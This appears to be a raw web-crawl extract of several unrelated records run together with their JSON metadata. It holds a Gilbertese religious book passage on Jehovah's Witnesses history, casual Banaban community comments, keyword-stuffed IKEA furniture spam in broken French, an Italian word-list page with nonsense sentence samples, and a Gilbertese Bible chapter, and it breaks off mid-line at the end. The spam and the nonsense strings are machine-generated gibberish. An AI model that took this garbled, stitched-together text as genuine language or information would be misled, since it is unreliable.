koaua bwa e kariaia Iesu rikini kangaanga aikai ni karawawataia ana aomata, tii ibukina bwa e a tekateka ngkai Iehova \"bwa te tia kaitiaka te tirewa.\" (Maraki 3:3) A koaua raoi Iehova ma Natina bwa a na otinako akana kakaonimaki man taiani kataaki akana karuanikai akanne, a na kaitiakaki, ao a na tau raoi ibukin te beku iroun te Uea. E teretere bwa ni moa man 1919, ao e a tia te Atua rinanon taamneina ni karaoi baika a iangoi taani kairiribai nakoia ana aomata bwa a aki kona n riki. A a manga kakorakoraaki ake a kakaonimaki! (TeKao. 11:11) N te tai anne ao e a kakororaoa Kristo te bwai ae rangi ni kakawaki ni kaineti ma kanikinaeani kabaneani boong. E mwiokoa \"te toro ae kakaonimaki ma ni wanawana,\" ae te kurubu ae uarereke ae kaaina mwaane aika kabiraki aika kairiri i buakoia ana aomata te Atua, bwa a na karorokoa te amwarake ni kaineti ma te onimaki n taina ae riai.\n36. Tera ae e kaotia bwa a a manga kakorakoraaki ana aomata te Atua ni kaineti ma te onimaki?\n36 A bwara man te karabuuti Brother Rutherford ma raona akekei ni Maati 26 n 1919. E waekoa ni baireaki karaoan te bwabwaro ae boo n te namwakaina ae Tebetembwa. A waakinaki babaire ni kaineti ma karaoan te kauoua ni maekatin, ae e na aranaki bwa The Golden Age. Bon raon te Taua-n-Tantani ae katauraoaki ibukin te mwakuri ni minita. * E noraki naba n te ririki anne moani katoton te Bulletin, ae aranaki ngkai bwa te boki n reirei ae Maiura ni Kristian ao Ara Mwakuri ni Minita. Ni moa man te moantai ao e aki toki n riki bwa bwaini boutokaan te mwakuri ni minita. Akea te nanououa bwa ni moa man 1919, e a moanibwaiaki riki te mwakuri ni kawara te auti teuana ma teuana.\n37. A kangaa tabeman ni kaotia bwa a aki kakaonimaki ni koaua n ririki ake imwin 1919?\n37 E teimatoa te mwakuri n uarongorongo ni kaitiakiia ana toro Kristo, bwa a aki kukurei ni karaoa te mwakuri ae kainnanoaki iai te nanorinano aei te koraki ake a kamoamoa ao ni kainikatonga ake a mena i buakoia. Te koraki ake a aki kan ibuobuoki n te mwakuri, a karaureakinako ma ake a kakaonimaki. N ririki ake imwin 1919 ao a a maraki nanoia naake a aki kakaonimaki ni koaua ao a uarao ao a kabuakaka, ao a irania naba taani bwainikirinia ana toro Iehova aika kakaonimaki.\n38. Ti kangaa ni kataubobongaaki man nanakoraoin aia waaki ao totokanikaia taan rimwini Kristo i aon te aba?\n38 Ma n aki ongei waaki akanne, a teimatoa taan rimwini Kristo i aon te aba ni maiureirei ao n rikirake n te onimaki. Ti kataubobongaaki man nanakoraoin aia waaki ao totokanikaia, bwa ti na kakoauaa ae e a kairiri ana Tautaeka n Uea te Atua! Bon tii man ana boutoka ae teimatoa te Atua ao ana kakabwaia, are e roko iroura rinanon Natina ao te Tautaeka n Uea iroun te Mesia, ae a kona iai aomata aika aki kororaoi aikai n totokanikai i aon Tatan ao i aon te waaki ae buakaka ae ngkai i aon te aba!\n39, 40. (a) Baikara bwaai tabeua aika kakawaki n te boki aei? (b) Tera ae e kona n reke iroum man reiakinan te boki aei?\n39 Ni mwakoro aika imwina ao ti na neneria bwa tera ae e a tia ni kakororaoia ana Tautaeka n Uea te Atua i aon te aba, i nanon tebubua te ririki imwini bungiakina i karawa. E na kabwarabwaraaki ni mwakoron te boki aei te mwakuri teuana ma teuana ae karaoaki i aon te aba ibukin te Tautaeka n Uea. Ni mwakoro nako ao iai te bwaoki ni kauring ae e na buokira n tuoira n tatabemanira nako bwa tera aron onimakinan te Tautaeka n Uea iroura. N taiani kabanea ni mwakoro ao ti na maroroakinna bwa tera ae ti na kariaa ngkana e a roko te Tautaeka n Uea n te tai ae e a kaan ngkai, bwa e na kamaunaia aika buakaka ao ni karokoa te bwaretaiti ae te aonnaba. Ko na kangaa ni kakabwaiaaki man reiakinan te boki aei?\n40 E kan uruana onimakinan ana Tautaeka n Uea te Atua iroum Tatan. Ma e kani kakorakoraa am onimaki Iehova bwa ko aonga ni kamanoaki iai ao n teimatoa ni korakora. (IEbe. 6:16) Ngaia are ti kaumakiko bwa ko na reiakina te boki aei ma n tataroakinna. Teimatoa n titirakiniko ni kangai, I onimakina raoi ana Tautaeka n Uea te Atua ke I aki?' Ngkana e korakora raoi onimakinan te Tautaeka n Uea iroum, e na bae n akea te bwai ae e na kona n uruana am onimaki ao ko na kakaonimaki ni boutokaa te Tautaeka anne, ao ko na ooa naba te tai are a nangi bane iai aomata aika maiu ni kakoauaa bwa e a kairiri ana Tautaeka n Uea te Atua!\n^ bar. 7 Ibukin ataakin riki taekaia Grew, Stetson, ao Storrs, nora te boki ae Jehovah's Witnesses\n^ bar. 15 E ngae ngke a noria Taan Reirei n te Baibara bwa a riai ni kitanaki botaki n Aro aika raoraona te aba, ma a teimatoa i nanon ririki aika bati ni butimwaeiia bwa tariia n te onimaki te koraki ake a kaotiota aia koaua ibukin te karea ni kaboomwi ao ake a taekinna bwa a beku ibukin te Atua ma nanoia ni kabane, e ngae ngke tiaki Taan Reirei n te Baibara naakai.\n^ bar. 17 Teuana bukina ngkai e mamaara te kaumaki nakoni kauring rimoa akanne bwa a boni kaineti nakon ana nanai ae uarereke Kristo ae 144,000 mwaitiia. Ti na noria ni Mwakoro 5 bwa imwain 1935, ao e iangoaki ngkoa bwa \"aomata aika rangi ni mwaitikurikuri\" are kabwarabwaraaki n Te Kaotioti 7:9, 10 n te King James Version, a irekereke iai kaain Aaro ake aongkoa Kristian ngaiia aika aki kona ni warekaki ao aika a na riki bwa kaain te kauoua ni koraki i karawa bwa kaniwangaia ibukin teimatoaia n tei ibukini Kristo n tokin te waaki.\n^ bar. 31 N Tebetembwa 1920, ao e boreetiaki te maekatin ae okoro ae The Golden Age (ai te Awake! ngkai) are kabwarabwarai baika riki aika rangi ni bati n te bwainikirinaki n tain te buaka, ae tabeua mai iai e rangi n riao te iowawa iai, i Kanata, i Engiran, i Tiaman, ao n te United States. Ni kaitaraan anne, e noraki bwa e rangi ni karako te bwainikirinaki n aekakin anne tatabebwi te ririki imwain te moani buaka n te aonnaba.\n^ bar. 36 I nanon ririki aika bati ao e katauraoaki Te Taua-n-Tantani tii ibukia kaain te nanai ae uarereke.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/uea-te-atua\/e-bungiaki-te-tautaeka-n-uea-i-karawa\/","date":"2018-04-24T17:36:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946807.67\/warc\/CC-MAIN-20180424154911-20180424174911-00243.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":5798,"character_repetition_ratio":0.066,"word_repetition_ratio":0.006,"special_characters_ratio":0.233,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"\"so thats wea you've gone missing too...\nsori I can't chat much...I got too mcuh skul work to do....\ntake care nte reirei...hope 2 c ur ass around dis part of Fiji again soon kee...\nluv plenty\nmanem\ntuntu\"\n\"mauri lewa! how are you today\nif you dont know this iz jacky staying in Lautoka here with auntie Aam.\nhow everything? and hows your sis baby?\nisa long and away from Suva\ncant wait to com back home.\nany ways there is a function happening here so i…\"\n\"hay cuzzy how are you?\ndiz Jacky from tha west now.\nam schooling in the west where a get to learn how to serve on the plane (really a niu exp.) howz you're education coming along hows your nauatao's myf president\nwel i'll be seeing…\"\n\"Mauri naba natiu..ia manga bon mimi nte ara ae Jacky..sorry..\nE uara moa am reirei ao am uncle anne(Kire)e tau keiaki ba te kabaia mwina kee ao please bon tai irarang naba.We all well ikai plus manem aikai ao tarim aio Ruabeta..nao nagaia ea…\"\n\"bula aunty\nkouara\nngkana ko aki atai ngai bon natim te flight attendant mai Nadi.\nauara kain am auti ikanne, kam marurung?\nkiss baby for me please\nma ngai ia bon fit ntai nako\nneee tia kaitibo moa rimwi tao ningabong bwa iai bwai ae na karaoia…\"\nMauri naba natiu..ia manga bon mimi nte ara ae Jacky..sorry..\nE uara moa am reirei ao am uncle anne(Kire)e tau keiaki ba te kabaia mwina kee ao please bon tai irarang naba.We all well ikai plus manem aikai ao tarim aio Ruabeta..nao nagaia ea kauntira tamam,e tau ke tekeraoi naba.","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/banabanvoice.ning.com\/profile\/jack228","date":"2018-05-20T23:35:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794863811.3\/warc\/CC-MAIN-20180520224904-20180521004904-00467.warc.gz","language":"gil","language_score":0.4438113272,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.4438113272190094, \"pcm_Latn_score\": 0.23865212500095367, \"sps_Latn_score\": 0.03883965685963631, \"eng_Latn_score\": 0.020715082064270973, \"nct_Latn_score\": 0.018557531759142876, \"jam_Latn_score\": 0.015839818865060806, \"kea_Latn_score\": 0.01498870924115181, \"aaz_Latn_score\": 0.012484797276556492}","num_words":273,"character_repetition_ratio":0.047,"word_repetition_ratio":0.265,"special_characters_ratio":0.237,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":0.447,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"hey mauri.....................ae te tamnei naba iroum tima tiabon imagine naba ba ti mena teboo ikanne enag kaga ai bon aron te maiu aei.......................euara tera ae kokakaraoia,.............ko amaga reitiko mai kanne\nhi dea....i'm Ruby.heard so muj about u,i knw it's kinda weird dat i'm talking to u without even really knowing u,but i hpe dat we can be goodfriends!\ni heard ur dad passed away,i'm so sorry for ur loss!my dad passed away too,last year December.i know it's hard to face the fact that they are not hia with us anymoa but it's life,we should sum how accept it!!\nok......i think i've sed enuf,coz i mite say sum moa things and which mite mke u think dat im weird.hahaha.......nice meeting u!\nbyee.......hpe to hear from u soon\ne raraba te comment nakoiu kee....aio naba au gmail ngkana ko kan chat ba kanga iaki bati n check au banaban voice page.... kee... email@example.com\ne raraba ne i bon marurung ao anga aia kamauri ataeinmwanen vanuatu nakoim kee... sis, iongo te rongorong are kananokawaki ao i nang kabara bure ngkai iaki kaman email nakoim mare i bon aki ata am address kee...ao irarikin anne ia tiba tua au page aei.. tekeraoi naba te waki ao tia manga reitaki rimwi kee..love loads\nThanks much dear, we are all doing fine. keep up the spirit of hope. we all have destiny. so let's work hard towards our goal. Let the day event go by and let us look forward. what say?\nLove you always\nUncle & family\nMauri Nei Futing,\nKo uara moa??? Shh e kawa Papa kee...ai bon tera aorakina ae e nang kakaiaki?? E tau ma kabebetea nanom ao ena bon waki naba aron te maiu, especially te reirei ko ongo?? Antai ngkanne kain te auti?? A tia n roko kain Taunovo?? Kamauri nakoia kain\nte auti ao ti bo ikanne kee...","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/banabanvoice.ning.com\/profile\/BoratakeChristopher","date":"2018-06-22T11:25:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864391.61\/warc\/CC-MAIN-20180622104200-20180622124200-00046.warc.gz","language":"gil","language_score":0.6312464476,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"gil_Latn_score\": 0.6312464475631714, \"pcm_Latn_score\": 0.10245205461978912, \"sps_Latn_score\": 0.026907678693532944, \"rop_Latn_score\": 0.01653946377336979, \"jam_Latn_score\": 0.012748551554977894, \"kea_Latn_score\": 0.011074058711528778}","num_words":308,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":0.527,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"ikea caisson bureau bureau elegant caisson bureau bureau roulette rule ikea caisson bureau alex.\nikea caisson bureau bureau design bureau free design caisson cuisine photo caisson cuisine bureau design ikea caisson bureau blanc.\nikea caisson bureau album hacker with bureau multimedia ikea caissons pour bureau.\nikea caisson bureau caisson bureau caisson bureau caisson bureau caisson bureau caisson bureau caisson bureau ikea caisson bureau blanc.\nikea caisson bureau bureau bureau caisson pour bureau ikea caisson bureau blanc.\nikea caisson bureau bureau amazing bureau angle with caisson bureau bureau ikea caisson tiroir bureau.\nikea caisson bureau caisson bureau new supports ikeafr caisson de bureau.\nikea caisson bureau caisson bureau rouge caisson bureau rouge caisson a 3 caisson bureau metal rouge ikea caisson tiroir bureau.\nikea caisson bureau free trendy affordable caisson bureau but caisson cuisine occasion bureau cm with caisson bureau fly with caisson with caisson ikea caisson bureau micke.\nikea caisson bureau bloc caisson ikea caisson bureau alex.\nikea caisson bureau bureau d angle d angle bureau d angle bureau d angle ikea caisson bureau noir.\nikea caisson bureau caisson bureau rouge bureau metal elegant rouge caisson sous ikea caisson bureau blanc.\nikea caisson bureau table bureau table table bureau table bureau ikea caisson bureau blanc.\nikea caisson bureau caisson bureau bureau dun plateau 2 caissons 4 caisson bureau ikea caisson bureau noir.\nikea caisson bureau ikea caisson tiroir bureau.\nikea caisson bureau caisson ikea caisson bureau micke.\nikea caisson bureau caisson bureau caisson bureau caisson bureau caisson bureau fly caisson bureau ikeafr caisson de bureau.\nikea caisson bureau bureau caisson bureau photograph of caisson bureau lovely caisson bureau unique caisson bureau bureau ikea caissons pour bureau.\nikea caisson bureau lit mezzanine bureau bureau bureau d angle beautiful bureau en from luxury bureau lit mezzanine lit mezzanine bureau ikea caisson bureau noir.\nikea caisson bureau caisson a caisson bureau ikea galant.\nikea caisson bureau table ikeafr caisson de bureau.\nikea caisson bureau caisson bureau caisson bureau caisson bureau bureau caisson caisson bureau caisson bureau ikea galant.\nikea caisson bureau bureau caisson bureau caisson bureau best bureau tat with caisson bureau cheap caisson bureau ikea caisson rangement bureau.\nikea caisson bureau caisson caisson a caisson bureau caissons a s s pour bureau caisson a ikea caisson bureau blanc.\nikea caisson bureau caisson bureau rouge sous bureau caisson bureau rouge caisson bureau rouge caisson bureau ikea caisson tiroir bureau.\nikea caisson bureau good caisson bureau finest plateau with plateau bureau caisson bureau caisson bureau with plateau bureau ikea caisson bureau noir.\nikea caisson bureau caisson bureau occasion caisson bureau amazing sign caisson bureau en ikea caisson bureau micke.\nikea caisson bureau caisson bureau elegant bureau interesting bureau ikeafr caisson de bureau.\nikea caisson bureau bloc ikea caissons pour bureau.\nikea caisson bureau caisson a br ikea caisson bureau alex.\nikea caisson bureau caisson bureau elegant collection bureau bureau bureau ikea caisson bureau alex.\nikea caisson bureau elegant bureau occasion with bureau occasion ikeafr caisson de bureau.\nikea caisson bureau bureau bureau caisson for bureau ikea caisson bureau alex.\nikea caisson bureau caisson mural caisson bureau caisson bureau caisson bureau caisson mural caisson mural bureau ikea caisson bureau alex.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/rusers.co\/ikea-caisson-bureau\/","date":"2018-06-24T01:33:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267865995.86\/warc\/CC-MAIN-20180624005242-20180624025242-00383.warc.gz","language":"gil","language_score":0.336268872,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.3362688720226288, \"ewo_Latn_score\": 0.1894502341747284, \"fra_Latn_score\": 0.11747916787862778, \"amk_Latn_score\": 0.059363387525081635, \"atj_Latn_score\": 0.044877491891384125, \"mcf_Latn_score\": 0.038524139672517776, \"cbs_Latn_score\": 0.024040497839450836, \"sco_Latn_score\": 0.023419156670570374, \"swh_Latn_score\": 0.012782853096723557, \"pcm_Latn_score\": 0.011814643628895283, \"ubr_Latn_score\": 0.010289458557963371}","num_words":522,"character_repetition_ratio":0.451,"word_repetition_ratio":0.019,"special_characters_ratio":0.159,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.336,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"|P||A||R||O||L||A||N||D|\nRICERCA NEL SITO:\nHOME > R05 > rtico\nPAROLA : rtico\nLUNGHEZZA : 05\nALFAGRAMMA : ciort\nELENCO PAROLE CONTENUTE IN : rtico\ndi 02 lettere :\nrt\nti\nic\ndi 03 lettere : rti tic ico\ndi 04 lettere : tico\nALCUNE PAROLE CHE CONTENGONO : rtico\nparticolarissimo desertico antartico articolato particolarita particolarismo particolaristi articolata articola portico aspartico particolrmente orticoltura articolati aprticolare particolarissima vorticosa iarticolo disarticolazione articolano aortico articolatorio paleoartico articolate particolato particolareggiata intrarticolare orticole vorticosamente articolandosi disarticolata articoler diverticolo catartico articolava partico uniarticolati autoarticolazione triarticolazione vorticosi quadriportico criptoportico particolarissime paleartico pluriarticolati corticosteroide articolando particolareggiato articolatore particolarmenti pseudoportico articolabile articolabilit particolaare articolavano particolarmnete glucocorticoidi articolatori verticolatori articolarsi sottoarticoli articolerei particolamente particolareggiate corticotropo corticosurrenale vorticoso particolre autoarticolato autoarticolati perticolarmente particolarmiente vorticosamante particolori articolatissime articolista articoletti articolini articoletto lampertico alcuniarticoli particoalre particolati articolarla particolarissimi articolatamente articolino articoo articolatissimo articono articolessa articolisti articolatissima articolacci particolareggiare articoloi articol particolarmante articolodi articoloc microarticoli\nFRASI CHE INIZIANO CON : rtico\nrtico azo ara enta ara ento ara era ara ero ara il ara ara azo\nrtico aoa aoa aoa ao ao ao ao ao ao ao nides ao rtica ao\nrtico aoa aoa ao ao ao ao ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass ao ao ao ao ao ao nides ao rtica\nrtico aoa aoa aoaass ao ao ao ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass aoab ao ao ao ao ao nides ao rtica\nrtico aoa aoa aoaass aoab ao ao ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass aoab aoac ao ao ao ao nides ao rtica\nrtico aoa aoa aoaass aoab aoac ao ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass aoab aoac aoad ao ao ao nides ao rtica\nrtico aoa aoa aoaass aoab aoac aoad ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass aoab aoac aoad aoaff ao ao nides ao rtica\nrtico aoa aoa aoaass aoab aoac aoad aoaff ao ao nides ao rtica ao rtico\nrtico stelle del del polo settentrionale acca che il fusto grosso carnoso come\nrtico aoa aoa aoaass aoab aoab aoac ao ao ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoab aoac aoad ao ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoab aoac aoad aoaff ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoac aoac aoad ao ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoac aoac aoad aoaff ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoac aoad aoad aoaff ao ao nides ao rtica ao\nrtico stelle acqua acquavite alcool ra sorta usato dai iei interpretazione\nrtico argentino vi ha installato un proprio laboratorio con annessa stazione\nrtico argentino una stazione meteorologica sono inoltre effettuate ricerche\nrtico gli uomini per tenere in la struttura saranno forniti negli anni armada de\nHOME > R05 > rtico\n3865987400 SK967CQ\nTutti i dati sono automaticamente, anche se accuratamente raccolti da fonti di pubblico accesso. Le frasi vengono selezionate automaticamente e non sono destinate ad esprimere le nostre opinioni. Il contenuto e le opinioni espresse sono esclusivamente a nome degli autori delle frasi.\nemail@example.com\nRANDOMAMAZON NEW!!\nTIPOGRAFIA LAMPOESTAMPO\nCENTROHD","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/www.centrohd.com\/dizionario\/pag\/r1\/r0500590.php","date":"2018-08-16T21:43:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221211185.57\/warc\/CC-MAIN-20180816211126-20180816231126-00356.warc.gz","language":"gil","language_score":0.9550065994,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9550065994262695, \"lij_Latn_score\": 0.01331021636724472}","num_words":536,"character_repetition_ratio":0.222,"word_repetition_ratio":0.281,"special_characters_ratio":0.169,"stopwords_ratio":0.198,"flagged_words_ratio":0.0,"lang_id_score":0.94,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"bureau ikea prix chaise bureau chaise luxury chaises bureau promo chaise bureau chaise bureau bureau micke ikea prix.\nbureau ikea prix bureau beautiful gallery of pied bureau best of pour plateau table with chaises design bureau ikea prix maroc.\nbureau ikea prix bureau unique la s d co bureau mikael ikea prix.\nbureau ikea prix bureau bureau pictures of fresh position bureau chaise bureau bureau bureau ikea prix maroc.\nbureau ikea prix store bureau mikael ikea prix.\nbureau ikea prix bureau best of bureau d angle bureau malm ikea prix.\nbureau ikea prix bureau best bureau d table d chaise bureau ikea prix.\nbureau ikea prix table a table a bureau galant ikea prix.\nbureau ikea prix affordable bureau occasion luxury lit occasion perfect lit occasion affordable with lit with lit bureau ikea fredrik prix.\nbureau ikea prix bureau awesome bureau d angle bureau galant ikea prix.\nbureau ikea prix bureau best of bureau d angle bureau galant ikea prix.\nbureau ikea prix bureau bureau angle bureau angle bureau a angle bureau d angle bureau angle bureau bureau chaise bureau ikea prix.\nbureau ikea prix table a manger chaises luxury chaises bureau 3 chaises a manger chaise bureau ikea prix.\nbureau ikea prix bureau chaise bureau ikea prix.\nbureau ikea prix chaise ideas bureau bureau s bureau e table s s bureau ikea prix maroc.\nbureau ikea prix bureau bureau bureau s bureaucracy bureau bureau bureau bureau jerker ikea prix.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/meetharry.co\/bureau-ikea-prix\/","date":"2018-09-20T09:29:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267156423.25\/warc\/CC-MAIN-20180920081624-20180920101624-00245.warc.gz","language":"gil","language_score":0.359839052,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.3598390519618988, \"nij_Latn_score\": 0.10994229465723038, \"cbs_Latn_score\": 0.09478571265935898, \"fra_Latn_score\": 0.05442347377538681, \"atj_Latn_score\": 0.04077034816145897, \"swh_Latn_score\": 0.025014230981469154, \"yaq_Latn_score\": 0.024190308526158333, \"eng_Latn_score\": 0.015297546982765198, \"klv_Latn_score\": 0.01508027222007513, \"amk_Latn_score\": 0.012767435051500797, \"asm_Latn_score\": 0.012379946187138557, \"guz_Latn_score\": 0.010994336567819118, \"tim_Latn_score\": 0.010945829562842846, \"eus_Latn_score\": 0.010726816952228546, \"ron_Latn_score\": 0.010427857749164104}","num_words":239,"character_repetition_ratio":0.281,"word_repetition_ratio":0.043,"special_characters_ratio":0.18,"stopwords_ratio":0.025,"flagged_words_ratio":0.0,"lang_id_score":0.36,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"8 E a manga roko naba ana taeka Iehova ae Atuaia taanga ni buaka,* ae kangai: 2 \"E kangai ana taeka Iehova ae Atuaia taanga ni buaka, 'N na ingainga ibukin Tion n te ingainga ae korakora,+ ao N na ingainga ibukin neiei n te un ae korakora.'\"\n3 \"E kangai ana taeka Iehova, 'N na okira Tion+ ao ni maeka i Ierutarem,+ ao e na aranaki Ierutarem bwa kaawan te koaua,*+ ao e na aranaki ana maunga Iehova ae Atuaia taanga ni buaka bwa te maunga ae tabu.'\"+\n4 \"E kangai ana taeka Iehova ae Atuaia taanga ni buaka, 'A na manga tekateka unimwaane ma unnaine ni maraen nako Ierutarem, temanna ma temanna ma okona i nanoni baina, ibukini mwaitin aia ririki.*+ 5 Ao a na onrake maraen te kaawa irouia ataei aika mwaane ma aine aika takaakaro iai.'\"+\n6 \"E kangai ana taeka Iehova ae Atuaia taanga ni buaka, 'E ngae ngke e taraa n rangi ni kangaanga irouia nikiraia aomata aikai ni boong akanne, ma te koaua bwa e na taraa naba n rangi ni kangaanga irou?' bon ana taeka Iehova ae Atuaia taanga ni buaka.\"\n7 \"E kangai ana taeka Iehova ae Atuaia taanga ni buaka, 'Ae I a kamaiuia au aomata man aaba ake i mainiku ao i maeao.*+ 8 Ao N na karinia ao a na maeka i Ierutarem,+ ao a na riki bwa au aomata ao N na riki bwa Atuaia,+ n te koaua* ao n te raoiroi.'\"\n9 \"E kangai ana taeka Iehova ae Atuaia taanga ni buaka, 'Ke a korakora baimi,*+ ngkami aika kam ongo ngkai taeka aikai mai wia burabeti,+ aika taeka aika titeboo ma ake a taekinaki ngkoa n te bong are e kaweneaki iai aan ana auti Iehova ae Atuaia taanga ni buaka, bwa e na kateaki te tembora. 10 Bwa imwain te tai anne, ao akea boon te mwakuri ae kabwakaaki ibukin te aomata ke te man,+ ao e karuanikai te roko ao te nako ibukia taani kakaaitara, bwa I rairiia mwaane ni kabane bwa a na ekiianako i bon i marenaia.'\n11 \"'Ma N na aki ngkai karaoa nakoia nikiraia aomata aikai, aron are I karaoia ni boong ake rimoa,'+ bon ana taeka Iehova ae Atuaia taanga ni buaka. 12 'Bwa e na unikaki te koraa ae uota te rau, ao e na karikiuaa te kai ae te kureebe, ao e na anga uaana te aonnaba,+ ao karawa e na anga aoina. Ao N na kabwaibwaiia nikiraia aomata aikai ni baikai ni kabane.+ 13 Ao n aron are kam riki bwa te katoto i buakoia natannaomata ni kaineti ma te taetae ni karekekai,+ ngkami aika tibun Iuta ao tibun Iteraera, ao ai arona naba bwa N na kamaiuingkami, ao kam na riki bwa te bwai ni kakabwaia.+ Tai maaku!+ A bia korakora baimi.'*+\n14 \"Bwa e kangai ana taeka Iehova ae Atuaia taanga ni buaka, '\"N aron are I a tia ni motikia bwa N na karokoa te kabuanibwai i aomi ibukina bwa a kaunai ami bakatibu,\" bon ana taeka Iehova ae Atuaia taanga ni buaka, \"ao I aki uringaaba teutana,+ 15 ao ai arona naba bwa I motikia n te tai aei bwa N na karaoa ae raoiroi nakon Ierutarem ao nakoia tibun Iuta.+ Tai maaku!\"'+\n16 \"'Aikai baika kam riai ni karaoi: Tataekina te koaua i marenami,+ ao a riai ni karikirakea te koaua ma te rau taiani moti ake ni mataroan ami oo.+ 17 Tai bairea i nanomi karaoan te bwai ae karawawata i marenami,+ ao tai tangira te taetae n tuea ni kewe,+ bwa I ribai baikai ni kabane,'+ bon ana taeka Iehova.\"\n18 E a manga roko naba irou ana taeka Iehova ae Atuaia taanga ni buaka, ae kangai: 19 \"E kangai ana taeka Iehova ae Atuaia taanga ni buaka, 'Te aki mamatam are n te kaaua n namwakaina,+ ao te aki mamatam are n te kanimaua n namwakaina,+ ao te aki mamatam are n te kaitiua n namwakaina,+ ao te aki mamatam are n te katebwina n namwakaina,+ a na riki bwa taai ni kimarimari ao ni kimwareirei ibukia tibun Iuta, aika tooa ni kakatonga.+ Mangaia ae tangira te koaua ao te rau.'\n20 \"E kangai ana taeka Iehova ae Atuaia taanga ni buaka, 'E na bon roko te tai ae a na roko iai botannaomata ao kaaini kaawa aika bati, 21 ao a na nako kaain te kaawa teuana nakoia te koraki ake kaain te kaawa riki teuana, ao ni kangai: \"Ti na ingainga n nako ni bubutii ibukin ana akoi* Iehova, ao n ukoukora Iehova ae Atuaia taanga ni buaka. Ti na nako naba ngaira.\"+ 22 Ao a na roko i Ierutarem botannaomata aika bati ma natannaomata aika korakora n ukoukora Iehova ae Atuaia taanga ni buaka,+ ao ni bubutii ibukin ana akoi* Iehova.'\n23 \"E kangai ana taeka Iehova ae Atuaia taanga ni buaka, 'Ni boong akanne ao aomata aika tengaun man aia taetae ni kabane natannaomata,+ a na taua rabin ana kamwarai* temanna te I-Iutaia.* Eng, a na taua ni kamatoaa, ao ni kangai: \"Ti kan iriingkami,+ bwa ti ongo ae e mena iroumi te Atua.\"'\"+","id":"","dump":"CC-MAIN-2018-39","url":"https:\/\/wol.jw.org\/gil\/wol\/b\/r178\/lp-gb\/nwt\/GB\/2013\/38\/8","date":"2018-09-21T07:32:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267156901.47\/warc\/CC-MAIN-20180921072647-20180921093047-00504.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":827,"character_repetition_ratio":0.176,"word_repetition_ratio":0.04,"special_characters_ratio":0.246,"stopwords_ratio":0.486,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"armoire bureau ikea armoire bureau ikea inspirant november 2017 botexchange photographie of armoire bureau ikea alacgant bureau mural armoire lit bureau ikea.\narmoire bureau ikea armoire de bureau ikea elacgant pinterest 10 diy pour embellir ses meubles ikea s meuble bas rangement bureau ikea.\narmoire bureau ikea armoire bureau ikea nouveau 7 best besta ikea images on pinterest photographie of armoire bureau ikea meuble bureau informatique ikea.\narmoire bureau ikea ikea caisson de bureau cool excellent caisson bureau par with bureau with bureau multimedia ikea caisson bureau alex armoire bureau ikea maroc.\narmoire bureau ikea armoires ikea hemnes armoire wardrobe sliding doors 4 cuisine ikea armoire hemnes 1 porte armoire bureau pas cher ikea.\narmoire bureau ikea casier vestiaire ikea best of 20 unique serrure armoire de bureau armoire bureau pas cher ikea.\narmoire bureau ikea ikea armoire ado awesome bureau armoire ikea galette chaise ikea best chaise bistrot ikea armoire basse bureau ikea.\narmoire bureau ikea armoire bureau ikea meuble de meubles rangement nouvelle ga informatique armoire bureau ikea maroc.\narmoire bureau ikea ikea armoire bureau bureau chambre ikea beau meuble bureau ikea meuble de bureau ikea armoire bureau pas cher ikea.\narmoire bureau ikea armoire bureau ikea rangement bureau ikea nouveau meuble bureau ikea meuble de bureau armoire basse bureau ikea.\narmoire bureau ikea armoire lit escamotable ikea 16 